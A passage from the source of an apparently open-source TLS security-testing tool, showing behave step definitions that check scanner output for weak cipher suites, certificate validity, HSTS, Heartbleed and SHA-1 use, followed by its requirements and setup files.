@step(u'a stored connection result') 196 | def step_impl(context): 197 | try: 198 | context.xmloutput = context.feature.xmloutput 199 | except AttributeError: 200 | assert False, "A stored connection result was not found. Perhaps a connection problem to %s:%s" % ( 201 | context.feature.host, context.feature.port) 202 | 203 | 204 | @step(u'the following cipher suites are disabled') 205 | def step_impl(context): 206 | try: 207 | root = context.xmloutput.getroot() 208 | except AttributeError: 209 | assert False, "No stored TLS connection result set was found." 210 | # Extract blacklisted suites from behave's table & create a regex 211 | suite_blacklist = [] 212 | for row in context.table: 213 | suite_blacklist.append(row['cipher suite']) 214 | suite_blacklist_regex = "(" + ")|(".join(suite_blacklist) + ")" 215 | # The regex should not match to any accepted suite for any protocol 216 | passed = True 217 | found_list = "" 218 | for accepted_suites in root.findall('.//acceptedCipherSuites'): 219 | for suite in accepted_suites: 220 | if re.search(suite_blacklist_regex, suite.get("name")) is not None: 221 | passed = False 222 | found_list = found_list + "%s " % suite.get("name") 223 | assert passed, "Blacklisted cipher suite(s) found: %s" % found_list 224 | 225 | 226 | @step(u'at least one the following cipher suites is enabled') 227 | def step_impl(context): 228 | try: 229 | root = context.xmloutput.getroot() 230 | except AttributeError: 231 | assert False, "No stored TLS connection result set was found." 232 | acceptable_suites = [] 233 | for row in context.table: 234 | acceptable_suites.append(row['cipher suite']) 235 | acceptable_suites_regex = "(" + ")|(".join(acceptable_suites) + ")" 236 | # The regex must match at least once for some protocol 237 | found = False 238 | for accepted_suites in root.findall('.//acceptedCipherSuites'): 239 | for suite in accepted_suites: 240 | if re.search(acceptable_suites_regex, suite.get("name")) is not None: 241 | found = True 242 | assert found, "None of listed cipher suites were enabled" 243 | 244 | 245 | @step(u'one of the following cipher suites is preferred') 246 | def step_impl(context): 247 | try: 248 | root = context.xmloutput.getroot() 249 | except AttributeError: 250 | assert False, "No stored TLS connection result set was found." 251 | acceptable_suites = [] 252 | for row in context.table: 253 | acceptable_suites.append(row['cipher suite']) 254 | acceptable_suites_regex = "(" + ")|(".join(acceptable_suites) + ")" 255 | # The regex must match the preferred suite for every protocol 256 | found = True 257 | accepted_suites = root.findall('.//preferredCipherSuite/cipherSuite') 258 | for accepted_suite in accepted_suites: 259 | if re.search(acceptable_suites_regex, accepted_suite.get("name")) is None: 260 | found = False 261 | assert found, "None of the listed cipher suites were preferred" 262 | 263 | 264 | @step(u'Time is more than validity start time') 265 | def step_impl(context): 266 | try: 267 | root = context.xmloutput.getroot() 268 | except AttributeError: 269 | assert False, "No stored TLS connection result set was found." 270 | notbefore_string = root.find('.//validity/notBefore').text 271 | notbefore = dateutil.parser.parse(notbefore_string) 272 | assert notbefore <= datetime.utcnow().replace(tzinfo=pytz.utc), \ 273 | "Server certificate is not yet valid (begins %s)" % notbefore_string 274 | 275 | 276 | @step(u'Time plus "{days}" days is less than validity end time') 277 | def step_impl(context, days): 278 | days = int(days) 279 | try: 280 | root = context.xmloutput.getroot() 281 | except AttributeError: 282 | assert False, "No stored TLS connection result set was found." 283 | notafter_string = root.find('.//validity/notAfter').text 284 | notafter = dateutil.parser.parse(notafter_string) 285 | notafter = notafter - dateutil.relativedelta.relativedelta(days=+days) 286 | assert notafter >= datetime.utcnow().replace(tzinfo=pytz.utc), \ 287 | "Server certificate will not be valid in %s days (expires %s)" % \ 288 | (days, notafter_string) 289 | 290 | 291 | @step(u'Strict TLS headers are seen') 292 | def step_impl(context): 293 | try: 294 | root = context.xmloutput.getroot() 295 | except AttributeError: 296 | assert False, "No stored TLS connection result set was found." 297 | hsts = root.find('.//httpStrictTransportSecurity') 298 | assert hsts.get('isSupported') == 'True', \ 299 | "HTTP Strict Transport Security header not observed" 300 | 301 | 302 | @step(u'server has no Heartbleed vulnerability') 303 | def step_impl(context): 304 | try: 305 | root = context.xmloutput.getroot() 306 | except AttributeError: 307 | assert False, "No stored TLS connection result set was found." 308 | heartbleed = root.find('.//openSslHeartbleed') 309 | assert heartbleed.get('isVulnerable') == 'False', \ 310 | "Server is vulnerable for Heartbleed" 311 | 312 | 313 | @step(u'certificate does not use SHA-1') 314 | def step_impl(context): 315 | try: 316 | root = context.xmloutput.getroot() 317 | except AttributeError: 318 | assert False, "No stored TLS connection result set was found." 319 | sha1 = root.find('.//chromeSha1Deprecation') 320 | assert sha1.get('isServerAffected') == "False", \ 321 | "Server is affected by SHA-1 deprecation (sunset)" 322 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | behave>=1.2.4 2 | SQLAlchemy==1.3.0 3 | requests>=2.2.1 4 | pytz>=2014.2 5 | python-dateutil>=2.2 6 | urlparse2>=1.1.1 7 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | 4 | setup( 5 | name='mittn', 6 | use_scm_version=True, 7 | description='Mittn', 8 | long_description=open('README.rst').read() + '\n' + open('CHANGELOG.rst').read(), 9 | classifiers=[ 10 | "Programming Language :: Python :: 2.7" 11 | ], 12 | license='Apache License 2.0', 13 | author='F-Secure Corporation', 14 | author_email='opensource@f-secure.com', 15 | url='https://github.com/F-Secure/mittn', 16 | packages=find_packages(exclude=['features']), 17 | install_requires=open('requirements.txt').readlines(), 18 | ) 19 | --------------------------------------------------------------------------------